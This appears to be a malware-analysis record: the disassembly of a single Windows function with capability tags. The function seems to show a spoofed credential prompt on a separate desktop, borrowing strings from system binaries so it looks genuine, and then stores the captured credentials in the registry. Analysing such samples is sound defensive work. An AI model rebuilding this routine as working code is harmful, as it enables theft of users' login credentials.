Function at 0x10001220
Capabilities:
Get common file path
Resolve function by parsing pe exports
Set registry value

Disassembly:
sub esp, 0x6a4
mov eax, dword [0x1001f2b8]
xor eax, esp
mov dword [esp + 0x6a0], eax
mov eax, dword [0x100200c4]
mov ecx, dword [0x10020144]
push 0x1001966c
push eax
push ecx
call fcn.10001100
add esp, 0xc
test eax, eax
jne 0x10001758
push esi
push edi
xor edi, edi
cmp dword [esp + 0x6b0], edi
je 0x1000127c
mov edx, dword [0x100200e0]
push edx
call dword [sym.imp.USER32.dll_SwitchDesktop]
mov eax, dword [0x100200e0]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
push str.credui.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
mov dword [esp + 0x40], esi
cmp esi, edi
je 0x10001729
lea edx, [esp + 0x38]
push 0xff000000
mov dword [esp + 0x78], edx
lea ecx, [esp + 0x38]
push 4
lea edx, [esp + 0x60]
mov dword [esp + 0x6c], ecx
push edx
lea eax, [esp + 0x3c]
lea ecx, [esp + 0x1c]
push esi
mov dword [esp + 0x44], edi
mov dword [esp + 0x48], edi
mov dword [esp + 0x40], edi
mov dword [esp + 0x20], edi
mov dword [esp + 0x68], 0x24bec39d
mov dword [esp + 0x6c], edi
mov dword [esp + 0x70], edi
mov dword [esp + 0x78], 0xb4bb2c26
mov dword [esp + 0x7c], edi
mov dword [esp + 0x80], edi
mov dword [esp + 0x88], 0x4b177521
mov dword [esp + 0x8c], edi
mov dword [esp + 0x90], edi
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], 0xc07eb83e
mov dword [esp + 0x9c], edi
mov dword [esp + 0xa0], edi
mov dword [esp + 0xa4], ecx
call fcn.100100d0
add esp, 0x10
test eax, eax
je 0x10001722
push ebp
push 0x2000
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebp, eax
cmp ebp, edi
je 0x10001721
push ebx
push 0x14
lea eax, [esp + 0x50]
push eax
call sub.NTDLL.dll_RtlZeroMemory
push 0x104
lea ecx, [esp + 0xa4]
push ecx
mov dword [esp + 0x54], 0x14
mov dword [esp + 0x58], edi
mov dword [esp + 0x2c], 0x202
mov dword [esp + 0x3c], 0x101
lea esi, [ebp + 0xcae]
lea ebx, [ebp + 0xdb0]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea edx, [esp + 0xa0]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
mov eax, str.rstrui.exe
cmp dword [esp + 0x6b8], edi
je 0x100013c5
mov eax, str.wuaueng.dll
push eax
lea eax, [esp + 0xa4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x20
push edi
lea ecx, [esp + 0xa8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x100014dc
cmp dword [esp + 0x6b8], 0
push 0x80
push esi
jne 0x10001453
push 0xab
push edi
call dword [sym.imp.USER32.dll_LoadStringW]
test eax, eax
jle 0x10001437
mov edx, 0x80
sub edx, eax
push edx
mov dword [esi + eax*2], 0x20002e
lea eax, [esi + eax*2 + 4]
push eax
push 0x91
push edi
call dword [sym.imp.USER32.dll_LoadStringW]
test eax, eax
jle 0x10001437
mov dword [esp + 0x58], esi
push 0x926
push ebx
push 0xd2
push edi
call dword [sym.imp.USER32.dll_LoadStringW]
test eax, eax
jle 0x100014d5
jmp 0x100014d1
push 0x69
push edi
call dword [sym.imp.USER32.dll_LoadStringW]
test eax, eax
jle 0x10001464
mov dword [esp + 0x58], esi
push 0
push 0x926
push ebx
push 0
push 0xb0000028
push edi
push 0xaff
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
mov esi, eax
mov ecx, 0x926
sub ecx, esi
push ecx
lea edx, [ebx + esi*2]
push edx
push 0x184
push edi
call dword [sym.imp.USER32.dll_LoadStringW]
add esi, eax
lea eax, [ebx + esi*2]
push str._r_n_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push 0
add esi, eax
mov ecx, 0x926
sub ecx, esi
push ecx
lea edx, [ebx + esi*2]
push edx
push 0
push 0x1109
push 0
push 0x12ff
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
mov dword [esp + 0x54], ebx
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [0x10020144]
mov ecx, dword [0x100200c4]
push eax
push ecx
xor ebx, ebx
lea edx, [esp + 0x2b4]
push str._s_s
push edx
xor esi, esi
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x54], ebx
mov dword [esp + 0x20], ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [esp + 0x10]
push eax
push ebx
push 0x1001966c
lea ecx, [esp + 0x2b8]
push ecx
push ebx
call dword [esp + 0x2c]
test eax, eax
jne 0x1000170b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1000170b
mov edx, dword [esp + 0x10]
push edx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov dword [esp + 0x30], edi
cmp edi, ebx
je 0x1000170b
lea eax, [esp + 0x10]
push eax
push edi
push 0x1001966c
lea ecx, [esp + 0x2b8]
push ecx
push ebx
call dword [esp + 0x2c]
test eax, eax
je 0x100016fc
push 0x20
lea edx, [esp + 0x48]
push edx
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x20]
push ecx
push edx
push edi
lea eax, [esp + 0x44]
push eax
push esi
lea ecx, [esp + 0x6c]
push ecx
mov dword [esp + 0x4c], 1
mov dword [esp + 0x50], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x68], ebx
call dword [esp + 0x60]
test eax, eax
jne 0x10001771
push 0x404
push ebp
mov dword [esp + 0x2c], 0x202
call sub.NTDLL.dll_RtlZeroMemory
push 0x202
lea edi, [ebp + 0x404]
push edi
mov dword [esp + 0x3c], 0x101
call sub.NTDLL.dll_RtlZeroMemory
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x34]
push edx
mov edx, dword [esp + 0x18]
push edi
push ebx
push ebx
lea eax, [esp + 0x34]
push eax
push ebp
push ecx
push edx
push 1
call dword [esp + 0x64]
test eax, eax
je 0x100016e3
push 0x404
lea ebx, [ebp + 0x606]
push ebx
call sub.NTDLL.dll_RtlZeroMemory
push 0x2a4
lea eax, [ebp + 0xa0a]
push eax
call sub.NTDLL.dll_RtlZeroMemory
push 0x152
lea eax, [ebp + 0xa0a]
push eax
push 0x202
push ebx
push ebp
call dword [esp + 0x4c]
test eax, eax
jne 0x100016e1
push edi
lea eax, [ebp + 0xa0a]
push eax
push ebx
call fcn.10001100
add esp, 0xc
test eax, eax
je 0x100016d4
mov ecx, dword [0x1002013c]
push 0
lea eax, [esp + 0x24]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push ecx
push reloc.WS2_32.dll_closesocket
mov dword [esp + 0x44], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x100016e1
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [esp + 0x20]
add eax, eax
push eax
push edi
push 1
push 0
push 0x10019c00
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x100016e1
mov dword [esp + 0x28], 0
mov esi, 0x52e
xor ebx, ebx
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov edi, dword [esp + 0x30]
cmp dword [esp + 0x28], ebx
je 0x10001588
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [esp + 0x48]
xor edi, edi
pop ebx
pop ebp
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x6b0], edi
pop edi
pop esi
je 0x10001758
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x10020128]
push edx
call dword [sym.imp.USER32.dll_SwitchDesktop]
mov eax, dword [0x10020128]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
mov ecx, dword [esp + 0x6a0]
xor ecx, esp
xor eax, eax
call fcn.10008464
add esp, 0x6a4
ret 4
mov esi, dword [esp + 0x6b8]
neg esi
sbb esi, esi
and esi, 0xfffff693
push 0x1f4
add esi, 0xfdb
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10001588